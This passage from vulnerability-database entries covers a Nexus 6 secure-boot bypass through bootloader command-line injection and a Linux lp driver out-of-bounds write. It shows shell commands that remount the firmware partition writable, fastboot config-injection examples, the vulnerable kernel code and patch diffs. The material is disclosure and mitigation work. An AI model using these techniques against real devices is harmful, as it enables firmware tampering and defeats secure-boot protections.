images upon initialization, and update their SoC counterparts if needed. Hence, the attacker could flash unsigned firmware images. We haven’t checked if there are such, but from our experience with other devices, there are. As for signed ones, downgrade attacks might be possible as well. In addition, the modem firmware resides under /firmware/image, which we could also alter and theoretically conduct similar attacks (see below). Again, we haven’t verified what kind of integrity checking exists nor if it is vulnerable to downgrade attack, leaving it aside for future research. ``` shamu:/ # umount -f /firmware shamu:/ # mount /dev/block/mmcblk0p1 /firmware -o rw shamu:/ # ls /firmware/image acdb.mbn bdwlan20.bin cmnlib.b03 efs1.bin isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03 qwlan11.bin sampleapp.b00 sampleapp.mdt securemm.b01 tqs.b00 tqs.mdt utf20.bin apps_9225.mbn.gz cmnlib.b00 cmnlib.mdt efs2.bin isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00 prov.mdt qwlan20.bin sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gz apps_9625.mbn.gz cmnlib.b01 dsp2_9225.mbn.gz efs3.bin isdbtmm.b03 otp11.bin playready.b02 prov.b01 qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gz bdwlan11.bin cmnlib.b02 dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin playready.b03 prov.b02 qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00 securemm.mdt tqs.b03 utf11.bin shamu:/ # echo foo > /firmware/image/foo shamu:/ # cat /firmware/image/foo foo ``` ### Google’s Patch Google’s patch for this vulnerability is available in the May 2017 Bulletin. Bootloader version moto-apq8084-72.03 available in build N6F27C now sanitizes the fsg-id, carrier and console config arguments: ``` $ fastboot oem config fsg-id "foo foo=1" [...] $ fastboot oem config carrier "bar bar=1" [...] $ fastboot oem config carrier "baz baz=1" [...] $ fastboot oem config [android@aosp:/aosp/source/android-7.1.1_r40]$ fastboot oem config [...] (bootloader) <UTAG name="carrier" type="str" protected="false"> (bootloader) <value> (bootloader) bar (bootloader) </value> (bootloader) <description> (bootloader) Carrier IDs, see http://goo.gl/lojLh3 (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="console" type="str" protected="false"> (bootloader) <value> (bootloader) baz (bootloader) </value> (bootloader) <description> (bootloader) Config kernel console log (bootloader) enable|true - enable with default settings (bootloader) disable|false - disable (bootloader) <config string> - enable with customized settings (bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) foo (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG>] ``` ### Anecdote: A Linux Kernel Out-of-Bounds Write (CVE-2017-1000363) During the work on this research, we also uncovered an ancient (since 2.2.0!) Out-of-Bounds write in the Linux Kernel CVE-2017-1000363. The bug is in the lp driver (so CONFIG_PRINTER=y is required), and is triggered when many lp=none arguments are appended to the Kernel Command Line: ``` static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC }; [...] #ifndef MODULE static int __init lp_setup (char *str) { static int parport_ptr; [...] } else if (!strcmp(str, "none")) { parport_nr[parport_ptr++] = LP_PARPORT_NONE; } [...] } #endif [...] __setup("lp=", lp_setup); ``` A [patch](https://github.com/torvalds/linux/commit/3e21f4af170bebf47c187c1ff8bf155583c9f3b1) has been committed to the mainline kernel.
    idSSV:93140
    last seen2017-11-19
    modified2017-05-26
    published2017-05-26
    reporterRoot
    titleinitroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection
  • bulletinFamilyexploit
    description### Vulnerable Versions * Linux 4.12-rc1 and below * Linux 3.x * Linux 2.6.x * Linux 2.4.x * Linux 2.2.x ### Mitigation Patch has been committed to the mainline tree, available in the 4.12-rc2 release. 3.18 / 4.4 stable releases with the patch are also avaialble (see timeline). Technical Details Due to a missing bounds check, and the fact that parport_ptr integer is static, a kernel command-line adversary (can happen due to bootloader vulnerabilities in Secure Boot environments, e.g. CVE-2016-10277) can overflow the parport_nr array in the following code, by appending many (>LP_NO) lp=none arguments to the command line. ``` static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC }; static char *parport[LP_NO]; [...] #ifndef MODULE static int __init lp_setup (char *str) { static int parport_ptr; [...] } else if (!strncmp(str, "parport", 7)) { int n = simple_strtoul(str+7, NULL, 10); if (parport_ptr < LP_NO) parport_nr[parport_ptr++] = n; else printk(KERN_INFO "lp: too many ports, %s ignored.\n", str); } else if (!strcmp(str, "auto")) { parport_nr[0] = LP_PARPORT_AUTO; } else if (!strcmp(str, "none")) { parport_nr[parport_ptr++] = LP_PARPORT_NONE; [...] #endif [...] __setup("lp=", lp_setup); ``` ### Patch As per our report, Willy Tarreau commited the following patch: ``` diff --git a/drivers/char/lp.c b/drivers/char/lp.c index 565e4cf..8249762 100644 --- a/drivers/char/lp.c +++ b/drivers/char/lp.c @@ -859,7 +859,11 @@ static int __init lp_setup (char *str) } else if (!strcmp(str, "auto")) { parport_nr[0] = LP_PARPORT_AUTO; } else if (!strcmp(str, "none")) { - parport_nr[parport_ptr++] = LP_PARPORT_NONE; + if (parport_ptr < LP_NO) + parport_nr[parport_ptr++] = LP_PARPORT_NONE; + else + printk(KERN_INFO "lp: too many ports, %s ignored.\n", + str); } else if (!strcmp(str, "reset")) { reset = 1; } ``` ### Timeline * 30-May-17: Deadline. * 25-May-17: [Patch available](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?h=v4.9.30&id=5d263d94a870a774a24acb2a2cc1e79ef39c2416) (Linux 4.9.30). * 25-May-17: [Patch available](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?h=v4.11.3&id=28c7411cdbc41396dceff7e1b37dbb659f7bdfb2) (Linux 4.11.3). * 25-May-17: [Patch available](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?h=v4.4.70&id=cda5c7e625cefed46311cb0b37816fb2ff42a8ee) (Linux 4.4.70). * 25-May-17: [Patch available](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?h=v3.18.55&id=f4615841767ff7908599e643f587078670a390c9) (Linux 3.18.55). * 23-May-17: Public disclosure. * 22-May-17: [Patch available](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v4.12-rc2&id=3e21f4af170bebf47c187c1ff8bf155583c9f3b1) (Linux mainline 4.12-rc2). * 17-May-17: CVE-2017-1000363 assigned. * 16-May-17: [Patch available](https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc.git/commit/?id=3e21f4af170bebf47c187c1ff8bf155583c9f3b1) (Linux Char/Misc drivers development tree). * 16-May-17: Reported. * 16-May-17: Added as ALEPH-2017023.
    idSSV:93143
    last seen2017-11-19
    modified2017-05-26
    published2017-05-26
    reporterRoot
    titleLinux lp.c Out-of-Bounds Write via Kernel Command-line